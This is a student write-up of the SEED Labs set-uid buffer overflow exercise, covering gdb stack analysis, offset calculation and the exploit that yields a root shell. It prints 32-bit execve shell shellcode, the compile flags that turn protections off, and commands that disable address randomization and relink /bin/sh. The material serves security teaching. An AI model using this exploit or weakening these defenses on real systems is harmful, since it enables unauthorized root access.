Introduction
The referenced code for this lab and its tasks can be found at: https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/.
To disable address space randomization, a kernel countermeasure that makes this attack more challenging, we need to execute the following command:
sudo sysctl -w kernel.randomize_va_space=0
For the purpose of the demo, we need to symlink /bin/sh to zsh. The countermeasure implemented in dash does not respect euid if it differs from uid, so this change is necessary. First, we should check the current symlink to ensure we can restore it later:
file /bin/sh
Next, we can create the new symlink:
sudo ln -sf /bin/zsh /bin/sh
Task 1: Shellcode Familiarization
To acquire a solid understanding of shellcode, it is highly recommended to engage in the SEED ShellCode Lab.
Task 1a - Executing the Shellcode
To execute the shellcode, follow these steps in the lab which compiles the call_shellcode.c
:
-
Locate the compiled version of the shellcode in the “shellcode” folder. The file is named shellcode.c.
-
Run the make command to generate an executable in the same folder.
-
After executing the above command, you will obtain two files:
-
a. a32.out: Running this file will drop you into a shell. To confirm the shell type, run the command echo $0. You will observe that the shell is /bin//sh.
-
b. a64.out: This file behaves similarly to the previous one. Execute it to enter another shell instance. Again, confirm the shell type by running echo $0.
-
In both cases, the newly created shell instances will have distinct process IDs (pid) and will run under the same user as the one you are currently logged in as.
call_shellcode.c Source Code
|
|
Task 2 - Understanding
The vulnerable source code for this lab is named stack.c
.
stack.c Source Code
|
|
The stack.c program has a buffer overflow vulnerability. It reads input from a file called badfile and copies it into another buffer in the bof function. The buffer in bof has a size of BUF_SIZE which is set to 100 bytes.
This program is owned by the root user, which may need to be changed. It is a set-uid program, which means if we can exploit the buffer overflow vulnerability, we can execute code with root privileges, such as spawning a shell. Since the input is controlled by the user, we can craft a payload to exploit this vulnerability.
To compile the program, use the following command:
gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
This command disables two additional safeguards against buffer overflows. After compilation, fix the permissions by executing:
sudo chown root stack
sudo chmod 4755 stack
These commands make it a set-uid program.
Using make
compiles four different versions of the program with varying buffer lengths. In some cases, the automated chown and chroot may fail, so manual execution is required for each version.
Now, we can test one of the programs as follows:
echo test > badfile
./stack-L1
Task 3 - Attacking 32-bit
To prepare an empty badfile, follow these commands:
rm badfile
touch badfile
GDB Analysis
Next, use gdb to debug the stack by executing the following steps:
gdb stack-L1-dbg
b bof # 0x120e
next
p $ebp # 0xffffc7e8
p &buffer # [100] 0xffffc77c
To gain a better understanding of the stack, I repeated the process for all named variables and functions in stack.c and analyzed the results. The ebp register contains the previous frame buffer or the top of the stack for the function.
Func / Var | Stack position | Gap from previous |
---|---|---|
char argv | 0xffffce44 | - |
int argc | 0xffffce40 | 4 |
ebp main() | 0xffffce28 | 24 |
str[517] | 0xffffcc13 | 533 |
ebp dummy_function() | 0xffffcbf8 | 27 |
dummy_buffer[1000] | 0xffffc808 | 1008 |
ebp bof() | 0xffffc7e8 | 32 |
buffer[100] | 0xffffc77c | 108 |
Strcpy()
From the C code we can see that it’s making a call strcpy function. Research on call tells us it pushes the return address on the stack, before moving the instruction pointer onto the new function. This means that the last entry on the stack for the bof() function will be the return address before strcpy() runs our payload.
The provided script to generate our payload exploit.py
needs several fields filling in. To decide them, we’ll consider how the stack will look after the exploit has been carried out so we know the neccesary values. The payload size it generates is 517.
exploit.py source code
|
|
After the execution of strcopy()
to address the buffer exploit, the stack will be modified as shown in the diagram below. The payload will overwrite the return address, which is where the processor will look to to find where in memory it needs to return to after it has read the buffer array.
Since we can overwritte the memory address with a different address that we have inserted, we can manipulate the program to execute from the stack (since we disabled the protection), specifically the section that holds our injected payload.
This stack manipulation provides us with an opportunity to execute arbitrary code and gain control over the program’s execution flow.
Creating the payload
We have four variables to calculate to generate the payload:
-
The first cariable is selecting the shellcode. We have been provided with a suitable payload to take advantage of suid programs in Task 1a. We just need to select the shellcode for the 32 bit variant, which is:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" "\xd2\x31\xc0\xb0\x0b\xcd\x80"
-
We need to decide where this paylaod will sit in the payload. Since it can go anywhere after the return address I’ll position the payload at the very end of the exploit. The byte length of the paylaod is 27, and our paylaod in its entirity is 517, so 517-27=490
-
The return address needs to point to the shellcode, so simply the buffer address + 490.
-
The offset for the return address needs to align correctly to overwrite the return address written by the call. We can position this to land anywhere above where the return address is located, as the processor will continue up the stack interpreting the
0x90's
as a skip. For demonstration, I’ll choose it to land directly above where the address is located, at offset buffer + 116
Inputting this math into exploit.py gives us the modified code. Wehn we run exploit.py, it creates the shellcode adn writes it to badfile
ready to be run through the program.
Modified exploit.py
|
|
We can confirm this works by running the program with gdb:
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/share/SEEDlabs/buffer-overflow-setuid/Labsetup/code/stack-L1-dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input size: 517
process 163860 is executing new program: /usr/bin/zsh
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
$ echo $0
/bin//sh
However when we try and run the program on its own, it doesn’t.
┌──(kali㉿kali)-[~/…/SEEDlabs/buffer-overflow-setuid/Labsetup/code]
└─$ ./stack-L1-dbg
Input size: 517
zsh: segmentation fault ./stack-L1-dbg
This is because the values in memory we’ve been working from are from GDB. GDB has pushed its own entries to the stack above the programs entries, therefore the addressees we have extracted from gdb have been inaccurate nd larger than when running the program naively.
We can accommodate this uncertainty by adjusting the return address. It can sit anywhere between an offset from the buffer of 116 to 490, and since we understand the higher the number the better to accommodate for gdb’s offset, we can set it to 490.
Regernating the badfile, and re-running the program now she it works as expected natively, and in gdb. When ran antivly, we can observe the setUID has worked to grant us a root shell.
┌──(kali㉿kali)-[~/…/SEEDlabs/buffer-overflow-setuid/Labsetup/code]
└─$ ./stack-L1-dbg
Input size: 517
# echo $0
/bin//sh
# whoami
root
# id -a
uid=1000(kali) gid=1000(kali) euid=0(root) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),109(netdev),120(wireshark),123(bluetooth),140(scanner),144(kaboxer)